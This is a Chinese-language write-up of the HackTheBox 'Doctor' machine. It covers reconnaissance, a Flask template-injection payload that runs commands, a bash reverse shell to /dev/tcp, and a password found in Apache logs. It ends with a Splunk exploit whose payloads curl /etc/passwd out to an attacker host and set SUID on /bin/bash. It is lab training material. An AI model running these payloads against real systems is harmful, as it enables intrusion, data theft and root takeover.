0%

HackTheBox-Doctor

  • NAME:Doctor
  • IP:10.10.10.209
  • Difficulty:Easy-Medium

image-20201128194010656

0x01 信息收集

nmap

image-20201127163625720

directory busting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
http://10.129.50.156/

/images (Status: 301)
/index.html (Status: 200)
/contact.html (Status: 200)
/blog.html (Status: 200)
/about.html (Status: 200)
/services.html (Status: 200)
/css (Status: 301)
/js (Status: 301)
/departments.html (Status: 200)
/fonts (Status: 301)


https://10.129.50.156:8089/
/services (Status: 401)
/v2 (Status: 200)
/v1 (Status: 200)
/v3 (Status: 200)
/v4 (Status: 200)
/v5 (Status: 200)
/v6 (Status: 200)
/v7 (Status: 200)
/v8 (Status: 200)
/v10 (Status: 200)
/v11 (Status: 200)
/v15 (Status: 200)
/v0 (Status: 200)
/v01 (Status: 200)
/v52 (Status: 200)
/v001 (Status: 200)
/v23 (Status: 200)
/v9 (Status: 200)
/v14 (Status: 200)
/v20 (Status: 200)
/v05 (Status: 200)
/v13 (Status: 200)
/v12 (Status: 200)
/v92 (Status: 200)
/v003 (Status: 200)
/v209 (Status: 200)


doctors.htb
/home (Status: 302)
/login (Status: 200)
/archive (Status: 200)
/register (Status: 200)
/account (Status: 302)
/logout (Status: 302)
/reset_password (Status: 200)
/server-status (Status: 403)

subdomain buting

1
wfuzz -c -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hl 503 -H "Host: FUZZ.doctors.htb" -u http://doctors.htb -t 100

image-20201128003624364

https

sqlunk 8.0.5 ,扫出来的v01什么的都是index。

访问services和servicesNS都需要密码访问,默认密码登陆不成功。

image-20201127164547463

image-20201127230200116

http

在about.html页面看到

image-20201127231854314

[email protected]

doctors.htb绑定到IP,再次访问,变成了一个登陆页面,并且是用Flask框架开发的,python3.8.2。

image-20201128002243391

image-20201128183749772

注册页面尝试注册

image-20201128002401770

注册成功,用注册成功的账号登陆(会自动恢复账号)

image-20201128002455949

1
.eJwtzk1qAzEMBeC7eJ2FbdmSlcsM-qUl0MJMsgq5e73oTk88Ht-7HHnG9VXuz_MVt3J8e7mXPrN3N0aEWRsQ99inUrMJmBCM3DAq8ABfa0SQ4CAwiXBsXWXFgjSRntk4zZiqqENq1-HsPBO8ZZ1JfXjgUKkMU0BCFjqVDXldcf5rdrTrzOP5-4if_ZCqu2cWoaRqrfXNWrKNNCo4CgDVvVs-fwsvQHA.X8Eo_A.x8gHAVYDCw0oRhBPfHVjIbrxl-Q

这session字段的值看起来就像是json-web-token但其实不是- -

管理员用户是admin

image-20201128002926277

查看home页面的页面源代码知道了/archive 正在开发

image-20201128151937860

随便写点东西然后访问该页面。<item><title>你写的东西</title></item>

image-20201128183404629

0x02 漏洞利用

因为网站是用flask开发的,这类python框架,有一种利用方式SSTI注入,漏洞成因是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。

尝试插入payload10

image-20201128190323552

image-20201128190343191

变成了10,说明存在模版引擎注入,如果你直接用上面那篇文章的payload是不行的,因为目标环境的python3.8.2有些类的位置和文章写的python3.6类位置不一样,所以得自己开个相同版本的python ide去看看。

1
2
3
4
a=("".__class__.__bases__[0].__subclasses__())
## 一个个打印出来好找。
for i in range(len(a)):
print(i,a[i])

image-20201128190845421

在下标132的位置发现文章所使用的类。

本地尝试看能不能执行命令

1
print("".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls').read())

image-20201128191001478

看起来可以,接下来到目标站点上试试。

1
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls -la').read()}}

image-20201128161623179

1
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat blog.sh').read()}}

image-20201128161918670

image-20201128162338151

反弹shell

1
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']("bash -c 'bash -i >&/dev/tcp/Your-IP/1234 0>&1'").read()}}

监听后访问

image-20201128162451230

0x03 提权

进行枚举。。。

找到两个密码

1
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

image-20201128191422668

1
1, admin, [email protected], default.gif, $2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S

image-20201128191644142

[email protected]的密码爆破不成功。尝试用Guitar123切换到shaun用户

image-20201128192001854

提权至root

这里用了shaun的凭证,登陆上了splunk

image-20201128192101635

然后,通过这篇文章了解到了该版本有个漏洞,直接使用exp测试下。

1
python3 PySplunkWhisperer2_remote.py --host doctors.htb --port 8089 --username shaun --password "Guitar123" --payload "curl -F 'data=@/etc/passwd' http://10.10.16.69:1222" --lhost 10.10.16.69

image-20201128192316132

成功,可以使用任意命令,并且权限是root。

1
python3 PySplunkWhisperer2_remote.py --host doctors.htb --port 8089 --username shaun --password "Guitar123" --payload "chmod +s /bin/bash" --lhost 10.10.16.69

image-20201128192425648

image-20201128172359765

0x04 参考文章